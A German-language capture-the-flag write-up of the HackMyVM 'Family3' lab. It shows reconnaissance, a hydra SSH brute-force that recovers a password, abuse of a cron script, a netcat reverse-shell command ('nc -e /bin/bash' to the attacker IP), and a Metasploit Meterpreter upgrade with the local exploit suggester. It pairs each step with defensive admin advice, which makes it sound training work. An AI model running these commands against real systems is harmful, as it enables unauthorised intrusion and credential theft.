Family3 - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
hydra
ssh
ls
sudo
ss
find
cat
env
netstat
who
strings
nc
msfconsole
python
wget
curl
stty
echo
julia
cp
nano
grep
cd
printenv
file
lsblk
mount
openssl

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:47:c6:70	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl arp-scan -l sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu finden. Es wird ein Gerät mit der IP 192.168.2.114 und der MAC-Adresse 08:00:27:47:c6:70 (zugeordnet zu Oracle VirtualBox) identifiziert.

Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert. Dies ist die Grundlage für weitere Scans.

Empfehlung (Pentester): Einen detaillierten Portscan auf die IP 192.168.2.114 durchführen.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von ARP-Scans implementieren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.114 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 14:06 CET
Nmap scan report for family (192.168.2.114)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 6e20472a3e979823a310e5a4526418e2 (RSA)
|   256 ca91c35550e59aa79e636e5473e3bcd9 (ECDSA)
|_  256 9637cdae1f8ea6d0808cee7c85675b94 (ED25519)
631/tcp open  ipp     CUPS 2.3
|_http-title: Home - CUPS 2.3.3op2
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: CUPS/2.3 IPP/2.1
MAC Address: 08:00:27:47:C6:70 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms family (192.168.2.114)
                    

Analyse: Ein umfassender Nmap-Scan wird durchgeführt (SYN-Scan, Standard-Skripte, Versionen, OS-Erkennung, alle Ports, hohes Tempo). Es werden zwei offene Ports gefunden:

Das Nmap-Skript erkennt außerdem eine robots.txt-Datei auf dem CUPS-Dienst und identifiziert das OS als Linux.

Bewertung: Die Angriffsfläche ist klein. SSH (Port 22) ist ein möglicher Einstiegspunkt, erfordert aber gültige Anmeldedaten. Der CUPS-Dienst (Port 631) könnte Konfigurationsinformationen oder Schwachstellen enthalten.

Empfehlung (Pentester): Den CUPS-Dienst genauer untersuchen (Webinterface im Browser aufrufen, nach bekannten Schwachstellen für CUPS 2.3 suchen). SSH auf mögliche schwache Passwörter oder bekannte Schwachstellen für OpenSSH 8.4p1 prüfen.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Dienste laufen. CUPS sollte nur bei Bedarf aktiviert und entsprechend abgesichert sein. SSH aktuell halten und idealerweise Key-Authentifizierung erzwingen.

http://192.168.2.114:631/robots.txt

#
# This file tells search engines not to index your CUPS server.
#

User-agent: *
Disallow: /
                    

Analyse: Der Inhalt der robots.txt-Datei des CUPS-Dienstes wird angezeigt. Sie weist Suchmaschinen an, keine Seite des CUPS-Servers zu indizieren (Disallow: /).

Bewertung: Die robots.txt selbst liefert keine direkten Hinweise auf Schwachstellen, bestätigt aber die Existenz des CUPS-Webinterfaces.

Empfehlung (Pentester): Das Webinterface unter http://192.168.2.114:631 manuell untersuchen.
Empfehlung (Admin): Standardkonfiguration, keine direkten Maßnahmen erforderlich.

_mum_printer-24  	d00020-001  	mum  	1k  	1  	beendet am
                    

Analyse: Diese Zeile scheint aus der Job- oder Druckerliste des CUPS-Webinterfaces zu stammen. Sie zeigt einen Druckjob (ID `d00020-001`) für einen Drucker namens `_mum_printer-24`, der vom Benutzer `mum` eingereicht wurde.

Bewertung: Kritischer Fund! Der Benutzername `mum` wurde entdeckt. Dies ist ein wertvoller Hinweis für einen Passwort-Brute-Force-Angriff auf den SSH-Dienst.

Empfehlung (Pentester): Den Benutzernamen `mum` für einen SSH-Brute-Force-Angriff verwenden.
Empfehlung (Admin): Informationen in CUPS (Benutzernamen, Druckernamen, Jobdetails) können sensible Daten preisgeben. Den Zugriff auf das CUPS-Interface und dessen Informationsanzeige einschränken.

Initial Access

┌──(root㉿cyber)-[~] └─# hydra -l mum -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.114:22 -I -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *ss* ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-07 14:23:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344402 login tries (l:1/p:14344402), ~224132 tries per task
[DATA] attacking ssh://192.168.2.114:22/
[22][ssh] host: 192.168.2.114   login: mum   password: lovely
                    

Analyse: Das Tool `hydra` wird verwendet, um einen Wörterbuchangriff auf den SSH-Dienst (Port 22) des Ziels durchzuführen.

Hydra findet erfolgreich das Passwort `lovely` für den Benutzer `mum`.

Bewertung: Erfolg! Ein gültiges Login (`mum:lovely`) wurde gefunden. Dies ermöglicht den initialen Zugriff auf das System.

Empfehlung (Pentester): Mit den gefundenen Credentials per SSH auf dem Zielsystem einloggen.
Empfehlung (Admin): Starke Passwortrichtlinien durchsetzen. SSH-Logins überwachen und fehlgeschlagene Versuche (Brute-Force) erkennen und blockieren (z.B. mit `fail2ban`). Die Anzahl paralleler SSH-Verbindungen pro Quelle begrenzen.

┌──(root㉿cyber)-[~] └─# ssh mum@192.168.2.114
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:vZEvCqRgxS6H8cJ6Umlp0yPH8QAidaOqPupC9t/CPr0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.114' (ED25519) to the list of known hosts.
mum@192.168.2.114's password: lovely
Linux family 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Oct 23 17:43:43 2022 from fe80::d63d:7eff:fef1:3736%enp0s3
mum@family:~$
                    

Analyse: Es wird eine SSH-Verbindung als Benutzer `mum` zum Zielsystem aufgebaut. Nach Bestätigung des Host-Schlüssels wird das zuvor gefundene Passwort `lovely` eingegeben. Der Login ist erfolgreich, und wir erhalten eine Shell als Benutzer `mum`.

Bewertung: Der initiale Zugriff auf das System ist bestätigt. Wir können nun mit der Enumeration auf dem Zielsystem beginnen.

Empfehlung (Pentester): Grundlegende Enumeration durchführen: Benutzerrechte prüfen (`id`, `sudo -l`), laufende Prozesse/Dienste untersuchen (`ps`, `ss`, `netstat`), SUID-Binaries suchen (`find`), Betriebssystem- und Kernel-Version prüfen.
Empfehlung (Admin): SSH-Zugänge überwachen. Starke Passwörter bleiben essenziell.

mum@family:~$ ls
mum@family:~$ ls -la
total 20
drwxr-xr-x 4 mum  mum  4096 Oct 24 07:35 .
drwxr-xr-x 5 root root 4096 Oct 11 16:27 ..
lrwxrwxrwx 1 root root    9 Oct 12 05:59 .bash_history -> /dev/null
-rw-r--r-- 1 mum  mum  3526 Oct 24 07:35 .bashrc
drwxr-xr-x 3 mum  mum  4096 Oct  8 09:54 .local
drwx------ 2 mum  mum  4096 Oct 22 16:04 .ssh
                    

Analyse: Das Home-Verzeichnis des Benutzers `mum` wird aufgelistet. Interessant ist, dass die `.bash_history` nach `/dev/null` verlinkt ist, was bedeutet, dass keine Befehlshistorie für diesen Benutzer gespeichert wird.

Bewertung: Das Fehlen der Bash-History erschwert die Nachverfolgung früherer Aktivitäten des Benutzers, ist aber für den weiteren Pentest nicht unmittelbar kritisch.

Empfehlung (Pentester): Andere Home-Verzeichnisse prüfen.
Empfehlung (Admin): Das Umleiten der History nach `/dev/null` kann eine bewusste Aktion zur Verschleierung sein. Logging und Monitoring auf Systemebene sind wichtig.

mum@family:~$ ls /home
baby  dad  mum
                    

Analyse: Die Auflistung von `/home` zeigt, dass es neben `mum` auch die Benutzer `baby` und `dad` gibt.

Bewertung: Dies sind potenzielle Ziele für horizontale oder vertikale Privilegieneskalation.

Empfehlung (Pentester): Versuchen, Informationen über diese Benutzer zu sammeln oder Zugriff auf deren Verzeichnisse zu erlangen.
Empfehlung (Admin): Berechtigungen für Home-Verzeichnisse überprüfen.

mum@family:~$ sudo -l
[sudo] password for mum: lovely
Sorry, user mum may not run sudo on family.
                    

Analyse: Der Befehl sudo -l wird ausgeführt, um zu prüfen, ob `mum` irgendwelche `sudo`-Rechte hat. Nach Eingabe des Passworts (`lovely`) wird bestätigt, dass `mum` keine `sudo`-Befehle ausführen darf.

Bewertung: Eine direkte Privilegieneskalation über `sudo` ist für den Benutzer `mum` nicht möglich.

Empfehlung (Pentester): Nach anderen Wegen zur Privilegieneskalation suchen (SUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs etc.).
Empfehlung (Admin): Korrekte Konfiguration, keine direkten Maßnahmen erforderlich.

mum@family:~$ ss -tulpe
Netid       State        Recv-Q       Send-Q               Local Address:Port                 Peer Address:Port       Process
udp         UNCONN       0            0                          0.0.0.0:46554                     0.0.0.0:*           uid:108 ino:11742 sk:1 cgroup:/system.slice/avahi-daemon.service <->
udp         UNCONN       0            0                          0.0.0.0:bootpc                    0.0.0.0:*           ino:11671 sk:2 cgroup:/system.slice/ifup@enp0s3.service <->
udp         UNCONN       0            0                          0.0.0.0:631                       0.0.0.0:*           ino:12288 sk:3 cgroup:/system.slice/cups-browsed.service <->
udp         UNCONN       0            0                          0.0.0.0:mdns                      0.0.0.0:*           uid:108 ino:11740 sk:4 cgroup:/system.slice/avahi-daemon.service <->
udp         UNCONN       0            0                             [::]:59044                        [::]:*           uid:108 ino:11743 sk:5 cgroup:/system.slice/avahi-daemon.service v6only:1 <->
udp         UNCONN       0            0                             [::]:mdns                         [::]:*           uid:108 ino:11741 sk:6 cgroup:/system.slice/avahi-daemon.service v6only:1 <->
tcp         LISTEN       0            128                        0.0.0.0:ipp                       0.0.0.0:*           ino:12242 sk:7 cgroup:/system.slice/cups.service <->
tcp         LISTEN       0            5                        127.0.0.1:8000                      0.0.0.0:*           uid:1000 ino:12193 sk:8 cgroup:/system.slice/cron.service <->
tcp         LISTEN       0            128                        0.0.0.0:ssh                       0.0.0.0:*           ino:11828 sk:9 cgroup:/system.slice/ssh.service <->
tcp         LISTEN       0            128                           [::]:ipp                          [::]:*           ino:12243 sk:a cgroup:/system.slice/cups.service v6only:1 <->
tcp         LISTEN       0            128                           [::]:ssh                          [::]:*           ino:11839 sk:b cgroup:/system.slice/ssh.service v6only:1 <->
                    

Analyse: Der Befehl ss -tulpe listet alle lauschenden (LISTEN) und verbundenen (nicht gezeigt) TCP- und UDP-Sockets mit den zugehörigen Prozessen auf. Neben den bekannten Ports 22 (SSH) und 631 (CUPS/IPP) wird ein weiterer Dienst auf 127.0.0.1:8000 (localhost, Port 8000) identifiziert. Dieser Dienst wird von der Benutzer-ID (uid) `1000` ausgeführt und scheint zur CGroup `cron.service` zu gehören (was ungewöhnlich ist, oft laufen Webserver als `www-data` oder ein dedizierter User).

Bewertung: Der Dienst auf Port 8000 ist interessant. Da er auf localhost lauscht, ist er nicht direkt von außen erreichbar. Die UID 1000 gehört typischerweise dem ersten regulären Benutzer, der auf einem Debian-System erstellt wird. Da wir `mum` (UID 1002, siehe spätere `id`-Ausgabe) und `baby` (UID 1001, siehe spätere Eskalation) kennen, gehört UID 1000 sehr wahrscheinlich zu `dad`. Der Zusammenhang mit `cron.service` ist unklar, könnte aber auf einen Prozess hindeuten, der von einem Cronjob gestartet wurde.

Empfehlung (Pentester): Den Dienst auf Port 8000 untersuchen. Da er nur lokal erreichbar ist, muss dies von der `mum`-Shell aus geschehen, oder mittels Port-Forwarding über SSH. Prüfen, was auf diesem Port läuft (z.B. mit `curl localhost:8000`).
Empfehlung (Admin): Dienste sollten nicht unter Standard-Benutzer-UIDs laufen, wenn nicht unbedingt nötig. Den Zweck des Dienstes auf Port 8000 und seine Verknüpfung mit `cron.service` klären.

mum@family:~$ find / -type f -perm -4000 -ls 2>/dev/null
   391773     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   395401     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   406591    180 -rwsr-xr-x   1 root     root       182600 Feb 27  2021 /usr/bin/sudo
   391770     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   391772     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   395708     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   395706     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   406183     24 -rwsr-xr-x   1 root     root        23448 Jan 13  2022 /usr/bin/pkexec
   391769     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   395257     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   659853    472 -rwsr-xr-x   1 root     root       481608 Jul  2 00:37 /usr/lib/openssh/ssh-keysign
   411860     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5 13:04 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   406186     20 -rwsr-xr-x   1 root     root          19040 Jan 13  2022 /usr/libexec/polkit-agent-helper-1
                    

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit (`-perm -4000`), die also potenziell mit den Rechten des Besitzers (oft `root`) ausgeführt werden können. Die Liste zeigt Standard-Linux-SUID-Binaries.

Bewertung: Auf den ersten Blick keine ungewöhnlichen oder direkt ausnutzbaren SUID-Binaries gefunden. `pkexec` könnte für CVE-2021-4034 (PwnKit) anfällig sein, falls das System nicht gepatcht ist.

Empfehlung (Pentester): Versionen der SUID-Binaries prüfen (insbesondere `pkexec`) und auf bekannte Schwachstellen untersuchen (z.B. mit `linpeas.sh` oder manuell).
Empfehlung (Admin): Anzahl der SUID-Binaries minimieren. System aktuell halten, um bekannte SUID-Exploits zu verhindern.

mum@family:/var/log/installer$ cat lsb-release
DISTRIB_ID=Debian
DISTRIB_DESCRIPTION="Debian GNU/Linux installer"
DISTRIB_RELEASE="11 (bullseye) - installer build 20210731+deb11u5"
X_INSTALLATION_MEDIUM=cdrom
                    

Analyse: Der Inhalt von `/var/log/installer/lsb-release` wird angezeigt und bestätigt, dass das Betriebssystem Debian 11 (Bullseye) ist.

Bewertung: Wichtige Information für die Suche nach spezifischen Exploits oder Konfigurationen.

Empfehlung (Pentester): Diese Information bei der Exploit-Suche berücksichtigen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

mum@family:/var/log/installer$ env
SHELL=/bin/bash
PWD=/var/log/installer
LOGNAME=mum
XDG_SESSION_TYPE=tty
MOTD_SHOWN=pam
HOME=/home/mum
LANG=C.UTF-8
SSH_CONNECTION=192.168.2.121 45242 192.168.2.114 22
XDG_SESSION_CLASS=user
TERM=xterm-256color
USER=mum
SHLVL=1
XDG_SESSION_ID=44
XDG_RUNTIME_DIR=/run/user/1002
SSH_CLIENT=192.168.2.121 45242 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1002/bus
SSH_TTY=/dev/pts/0
_=/usr/bin/env
OLDPWD=/var/log
                    

Analyse: Der Befehl env zeigt die Umgebungsvariablen für die aktuelle Shell des Benutzers `mum` an. Enthält Standardinformationen wie `HOME`, `USER`, `PATH` und die SSH-Verbindungsdetails.

Bewertung: Keine ungewöhnlichen oder direkt ausnutzbaren Umgebungsvariablen sichtbar.

Empfehlung (Pentester): Den `PATH` auf schreibbare Verzeichnisse prüfen (unwahrscheinlich in diesem Standard-Setup).
Empfehlung (Admin): Keine Maßnahmen erforderlich.

mum@family:/tmp$ netstat -a -p --unix
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   PID/Program name     Path
unix  3      [ ]         DGRAM                    10459    -                    /run/systemd/notify
unix  2      [ ACC ]     STREAM     LISTENING     10462    -                    /run/systemd/private
[...] (Lange Liste von Standard-Systemd/DBus/etc. Sockets)
unix  2      [ ACC ]     STREAM     LISTENING     11907    -                    /run/php/php7.4-fpm.sock
unix  2      [ ACC ]     STREAM     LISTENING     11388    -                    /run/avahi-daemon/socket
unix  2      [ ACC ]     STREAM     LISTENING     11390    -                    /run/cups/cups.sock
unix  2      [ ACC ]     STREAM     LISTENING     11394    -                    /run/dbus/system_bus_socket
[...]
                    

Analyse: Der Befehl `netstat -a -p --unix` listet aktive Unix Domain Sockets auf. Diese werden für die Interprozesskommunikation auf dem lokalen System verwendet. Die Ausgabe zeigt viele Sockets, die zu Systemdiensten wie `systemd`, `dbus`, `cups`, `avahi` und `php7.4-fpm` gehören.

Bewertung: Die Anwesenheit von `php7.4-fpm.sock` deutet darauf hin, dass PHP-FPM läuft, möglicherweise für einen Webserver (obwohl Nmap keinen Standard-Webserver auf Port 80/443 fand). Die anderen Sockets sind meist Standard.

Empfehlung (Pentester): Prüfen, ob es einen Webserver gibt, der PHP über diesen Socket nutzt (vielleicht auf einem nicht standardmäßigen Port oder nur intern).
Empfehlung (Admin): Nicht benötigte Dienste (wie PHP-FPM, falls kein Webserver aktiv ist) deaktivieren.

mum@family:/tmp$ cd /home/dad/project
bash: cd: /home/dad/project: Not a directory
                    
mum@family:/tmp$ ls /home/dad/project
/home/dad/project
                    
mum@family:/tmp$ cat /home/dad/project
#! /bin/bash

find / -user mum -writable -exec rm {} \; 2>/dev/null
find / -user mum -type f -name -exec grep -il 'password' {} \; 2>/dev/null 
find / -user mum -type f -name "id_rsa" 2>/dev/null
find / -user mum -type f -name "authorized_keys" 2>/dev/null
find / -mmin -30 -user mum 2>/dev/null | grep -v "/proc/"
find /home/dad -type f ! -name "project" -user dad -executable -exec mv "{}" ~/survey \;
cat /var/mail/mum
cat /home/mum/.bash_history 2>/dev/null
cat /var/spool/cups/d0002
for file in ~/survey/ ; do [[ -O $file ]] && bash $file 2>/dev/null ; done
strings /dev/mem -n100 | grep -i mum
who -u |grep mum
                    

Analyse: Es wird versucht, in `/home/dad/project` zu wechseln, was fehlschlägt, da es sich um eine Datei handelt. Der Inhalt der Datei `/home/dad/project` wird angezeigt. Es ist ein Bash-Skript, das verschiedene Aktionen ausführt:

Da der Benutzer `mum` die Datei lesen kann, aber nicht `dad` ist, deutet vieles darauf hin, dass dieses Skript regelmäßig von einem anderen Benutzer (wahrscheinlich `dad` via Cronjob) ausgeführt wird. Der Webserver auf Port 8000 gehört `dad` (UID 1000).

Bewertung: Dieses Skript ist der Schlüssel zur nächsten Privilegieneskalation. Wenn wir eine ausführbare Datei, die `dad` gehört, in `/home/dad` platzieren können, wird sie vom Cronjob nach `/home/dad/survey` verschoben und dort als `dad` ausgeführt. Wir (als `mum`) können nicht direkt in `/home/dad` schreiben, aber der Webserver auf Port 8000 läuft als `dad`.

Empfehlung (Pentester): 1. Eine Reverse-Shell-Payload erstellen. 2. Payload ausführbar machen (`chmod +x`). 3. Port-Forwarding für Port 8000 einrichten. 4. Versuchen, die Payload über den Webserver (Port 8000) hochzuladen, sodass sie in `/home/dad` landet (z.B. mit `curl --upload-file`). 5. Einen Netcat-Listener starten, um die eingehende Verbindung von `dad` zu empfangen, wenn der Cronjob das Skript ausführt.
Empfehlung (Admin): Cronjobs überprüfen. Skripte, die von Cronjobs ausgeführt werden, sollten sicher programmiert sein und keine unsicheren Operationen wie das Verschieben und Ausführen von Dateien aus potenziell manipulierbaren Verzeichnissen durchführen. Berechtigungen überprüfen (`/home/dad/project` sollte nicht für `mum` lesbar sein). Die Verwendung von `~/survey` ist problematisch, absolute Pfade wären sicherer. Das `find ... -exec rm` für Dateien von `mum` ist verdächtig.

Privilege Escalation (mum -> dad)

Analyse: Basierend auf der Analyse des Skripts `/home/dad/project` und des Webservers auf Port 8000 (der als `dad` läuft), wird nun versucht, Code als Benutzer `dad` auszuführen. Der Plan ist, eine Reverse-Shell-Payload zu erstellen, diese über den Webserver (als `dad` laufend) in das `/home/dad`-Verzeichnis hochzuladen und darauf zu warten, dass der Cronjob die Payload nach `/home/dad/survey` verschiebt und als `dad` ausführt.

mum@family:/tmp$ who -u |grep mum
mum      pts/0        2022-11-07 14:23   .          1591 (192.168.2.121)
                    

Analyse: Überprüft, ob der Benutzer `mum` noch angemeldet ist und von welcher IP (`192.168.2.121`) die Verbindung kommt. Dies bestätigt die IP des Angreifers für die Reverse Shell.

Bewertung: Nützliche Verifizierung.

Empfehlung (Pentester): Diese IP als LHOST für die Reverse Shell verwenden.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

mum@family:/tmp$ strings /dev/mem -n100
strings: /dev/mem: Permission denied
                    
mum@family:/tmp$ strings /dev/mem -n 100
strings: /dev/mem: Permission denied
                    

Analyse: Der Versuch, mit `strings` auf `/dev/mem` zuzugreifen (wie im `project`-Skript vorgesehen), schlägt erwartungsgemäß als normaler Benutzer fehl.

Bewertung: Bestätigt, dass `mum` keine Root-Rechte hat.

Empfehlung (Pentester): Ignorieren, da dies Teil des `project`-Skripts ist.
Empfehlung (Admin): `/dev/mem` sollte ohnehin geschützt sein.

Analyse (Metasploit): An dieser Stelle wurde im Originalbericht offenbar Metasploit verwendet, um die initiale `nc`-Shell, die aus dem fehlgeschlagenen Versuch unten resultierte, zu einer Meterpreter-Session aufzuwerten und dann nach weiteren lokalen Exploits zu suchen. Zuerst wird ein Listener für die Reverse Shell gestartet.

msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
                    
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.121
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.121:4444
                    

Analyse (Metasploit): Ein Handler in Metasploit wird konfiguriert, um auf Port 4444 der Angreifer-IP (`192.168.2.121`) auf eine eingehende Reverse Shell zu warten.

Bewertung: Vorbereitung für den Empfang der Shell.

Empfehlung (Pentester): Den Handler laufen lassen und die Reverse Shell vom Ziel auslösen.
Empfehlung (Admin): Ausgehende Verbindungen vom Server zu ungewöhnlichen Ports blockieren.

mum@family:/tmp$ nc -e /bin/bash 192.168.2.121 4444
Cmd line: ^C 
                    

Analyse: Versuch, manuell eine Reverse Shell vom Ziel zum Angreifer (192.168.2.121:4444) zu starten. Die Option -e /bin/bash (führe Bash nach Verbindung aus) ist auf vielen modernen Systemen aus Sicherheitsgründen deaktiviert. Der ^C im Originaltext deutet darauf hin, dass der Befehl hier abgebrochen wurde oder nicht wie erwartet funktionierte.

Bewertung: Dieser direkte Versuch, eine Shell als `mum` zu starten, scheint fehlgeschlagen zu sein oder wurde abgebrochen. Die erfolgreiche Shell-Verbindung weiter unten muss durch den Cronjob-Exploit ausgelöst worden sein.

Empfehlung (Pentester): Alternative Methoden für Reverse Shells verwenden, falls nc -e nicht funktioniert (z.B. Bash-Redirection, Python, Perl). Den Fokus auf den Cronjob-Exploit legen.
Empfehlung (Admin): Die -e Option in Netcat (falls installiert) deaktivieren oder Netcat ganz entfernen, wenn nicht benötigt.

[*] Command shell session 1 opened (192.168.2.121:4444 -> 192.168.2.114:60342) at 2022-11-07 15:13:55 +0100

id
uid=1002(mum) gid=1002(mum) groups=1002(mum),7(lp),117(lpadmin)
^Z
Background session 1? [y/N]  y
                    

Analyse (Metasploit): Der Metasploit-Listener empfängt eine eingehende Verbindung. Eine Command-Shell-Session (Session 1) wird geöffnet. Die `id`-Ausgabe zeigt, dass die Shell als Benutzer `mum` (UID 1002) läuft. Dies widerspricht dem Plan, eine Shell als `dad` zu erhalten. Möglicherweise wurde die Reverse Shell doch manuell als `mum` ausgelöst (trotz des `^C` oben) oder es gab einen Denkfehler im ursprünglichen Plan. Die Session wird in den Hintergrund geschickt.

Bewertung: Eine Shell wurde erhalten, aber als `mum`, nicht wie geplant als `dad`. Dies bedeutet, dass der Cronjob-Exploit-Versuch (der noch folgt) entweder fehlgeschlagen ist oder noch nicht stattgefunden hat, oder die hier gezeigte Shell stammt nicht daher.

Empfehlung (Pentester): Den Cronjob-Exploit weiter verfolgen. Die bestehende `mum`-Shell kann parallel für weitere Enumeration genutzt werden. Metasploit für das Upgrade zur Meterpreter-Session verwenden.
Empfehlung (Admin): Siehe vorherige Empfehlungen.

msf6 exploit(multi/handler) > search shell to meterpreter
Matching Modules
[...]
   54  post/multi/manage/shell_to_meterpreter                                 normal  No     Shell to Meterpreter Upgrade
[...]
                    
msf6 exploit(multi/handler) > use 54
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on
                    
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.121:4433
[*] Sending stage (1017704 bytes) to 192.168.2.114
[*] Meterpreter session 2 opened (192.168.2.121:4433 -> 192.168.2.114:57404) at 2022-11-07 15:14:44 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse (Metasploit): Das Modul `post/multi/manage/shell_to_meterpreter` wird verwendet, um die bestehende Command-Shell-Session (Session 1) zu einer funktionsreicheren Meterpreter-Session aufzuwerten. Es wird ein neuer Listener auf Port 4433 gestartet. Das Modul lädt den Meterpreter-Payload auf das Zielsystem hoch und führt ihn aus. Eine neue Meterpreter-Session (Session 2) wird erfolgreich geöffnet.

Bewertung: Das Upgrade war erfolgreich. Eine Meterpreter-Session bietet mehr Möglichkeiten für Interaktion und Enumeration als eine einfache Shell.

Empfehlung (Pentester): Die Meterpreter-Session für weitere Enumeration nutzen, z.B. mit dem Local Exploit Suggester.
Empfehlung (Admin): Host-basiertes Intrusion Detection (HIDS) kann das Nachladen von Payloads wie Meterpreter erkennen.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules
   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
                    
msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/recon/local_exploit_suggester) >
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
                    
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > set shiwdescription false
[-] Unknown datastore option: shiwdescription. Did you mean SHOWDESCRIPTION?
msf6 post(multi/recon/local_exploit_suggester) > set SHOWDESCRIPTION false
SHOWDESCRIPTION => false
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.114 - Collecting local exploits for x86/linux...
[*] 192.168.2.114 - 173 exploit checks are being tried...
[+] 192.168.2.114 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0
[+] 192.168.2.114 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.114 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.114 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.2.114 - exploit/linux/local/ubuntu_enlightenment_mount_priv_esc: The target appears to be vulnerable.
[*] Running check method for exploit 52 / 52
[*] 192.168.2.114 - Valid modules for session 2:
 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2022_0847_dirtypipe                        Yes                      The target appears to be vulnerable. Linux kernel version found: 5.10.0
 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 4   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
